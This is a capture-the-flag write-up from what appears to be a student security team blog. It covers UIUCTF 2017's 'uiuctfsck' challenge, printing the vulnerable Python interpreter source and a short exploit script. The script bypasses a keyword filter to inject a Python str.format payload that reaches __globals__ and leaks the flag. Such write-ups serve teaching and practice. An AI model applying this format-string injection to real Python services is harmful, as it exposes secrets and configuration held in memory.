Inn0vHackti0n

Epitech Security Team Blog

[UIUCTF2k17] Reverse 200 - uiuctfsck

This service looks like it might have some vulnerabilities. Think you can get the flag?

nc challenge.uiuc.tf 11338

Challenge

Here is the interpreter.py script behind the TCP service:

from flag import flag

memory_size = 255

class StackMachine(object):
    def __init__(self):
        self.memory = [0 for _k in range(memory_size)]
        self.data_pointer = 0

    def memory_as_string(self):
        out = ""
        for k in self.memory[self.data_pointer:]:
            if(k == 0):
                return out
            out += chr(k)
        return out

    def mem_at(self, index):
        if(index < 0 or index >= memory_size):
            return 0
        return self.memory[index]

    def increment(self):
        self.memory[self.data_pointer] = min(memory_size, self.memory[self.data_pointer] + 1)

    def decrement(self):
        self.memory[self.data_pointer] = max(0, self.memory[self.data_pointer] - 1)

    def move_left(self):
        self.data_pointer = max(0, self.data_pointer - 1)

    def move_right(self):
        self.data_pointer = min(memory_size, self.data_pointer + 1)

def printf(stack_machine):
    """Rudimentary printf function.
    %xi: get the byte in memory at the address specified by [data_pointer - 1]
    %x: get the data pointer as a hex string
    %s: get the memory of the stack machine specified by [data_pointer - 1], represented as a string.
    """
    format_string = stack_machine.memory_as_string()

    if("machine" in format_string):
        print("No Direct Memory Access! Bad!")
        return

    format_string = format_string.replace('%xi', hex(stack_machine.mem_at(stack_machine.mem_at(stack_machine.data_pointer - 1)))[2:])

    format_string = format_string.replace('%x', hex(stack_machine.data_pointer)[2:])
    format_string = format_string.replace('%s', machines[stack_machine.mem_at(stack_machine.data_pointer - 1)].memory_as_string())

    format_string = format_string.replace("\\n", "\n")
    format_string = format_string.replace("\\t", "\t")

    out = "{machine.data_pointer}: " + format_string
    print(out.format(machine=stack_machine))

def inc(state, _context):
    machines[state['machine']].increment()
def dec(state, _context):
    machines[state['machine']].decrement()
def shl(state, _context):
    machines[state['machine']].move_left()
def shr(state, _context):
    machines[state['machine']].move_right()
def jumpr(state, _context):
    m = machines[state['machine']]
    if(m.mem_at(m.data_pointer) == 0):
        step = state['ip']
        num_rb_needed = 1
        while(step < memory_size):
            step += 1
            if(_context[step] == '['):
                num_rb_needed += 1
            if(_context[step] == ']'):
                num_rb_needed -= 1
            if(num_rb_needed == 0):
                break
        state['ip'] = step
def jumpl(state, _context):
    m = machines[state['machine']]
    if(m.mem_at(m.data_pointer) != 0):
        step = state['ip']
        while(step > 0):
            step -= 1
            if(_context[step] == ']'):
                num_lb_needed += 1
            if(_context[step] == '['):
                num_lb_needed -= 1
            if(num_lb_needed == 0):
                break
        state['ip'] = step
def lastm(state, _context):
    state['machine'] = max(0, state['machine'] - 1)
def nextm(state, _context):
    state['machine'] = min(memory_size, state['machine'] + 1)
def out(state, _context):
    printf(machines[state['machine']])
def debug(state, _context):
    m = machines[state['machine']]
    print("Program:", _context)
    print("IP:", state['ip'])
    print("Machine:", state['machine'])
    print("Machine State:")
    print("\tData Pointer:", m.data_pointer)
    print("\tMemory:")
    for i in range(memory_size):
        print("\t\t", m.mem_at(i), "\t\t", chr(m.mem_at(i)))

machines = [StackMachine() for _k in range(memory_size)]
operations = {
    '+': inc,
    '-': dec,
    '<': shl,
    '>': shr,
    '[': jumpr,
    ']': jumpl,
    '(': lastm,
    ')': nextm,
    '.': out,
    'D': debug # you're welcome
}

def interpret_program(program_string):
    timeout = 8192
    state = {'machine': 0, 'ip': 0}

    while(state['ip'] < len(program_string) and timeout > 0):
        try:
            c = program_string[state['ip']]
            if c in operations.keys():
                    operations[c](state, program_string)
        except Exception as e:
            print("Well, you managed to break it...")
            print(e)
        state['ip'] += 1
        timeout -= 1

    if(timeout == 0):
        print("You used too many cycles. Sorry.")

if(__name__ == '__main__'):
    while(True):
        command = input("> ")
        if(command == "exit"):
            exit(0)
        interpret_program(command)

Exploit

It’s a simple brainfuck interpreter.

Because of those instructions we can think that this script has no format string vulnerabilties.

if("machine" in format_string):
  print("No Direct Memory Access! Bad!")
  return

But thanks to the implementation of a rudimentary printf function we can modify the string after this verification.

This lead us to the creation of this exploit:

string = "{machin%x.__init__.__globals__}"

out = ""

out += ">" * 0xe

for char in string:
    out += "+" * ord(char)
    out += ">"

out += "<" * len(string)

out += "."

print(out)

Flag: flag{w3lcome_2_N3w_Y0rk}

the_unknown_

Newer >>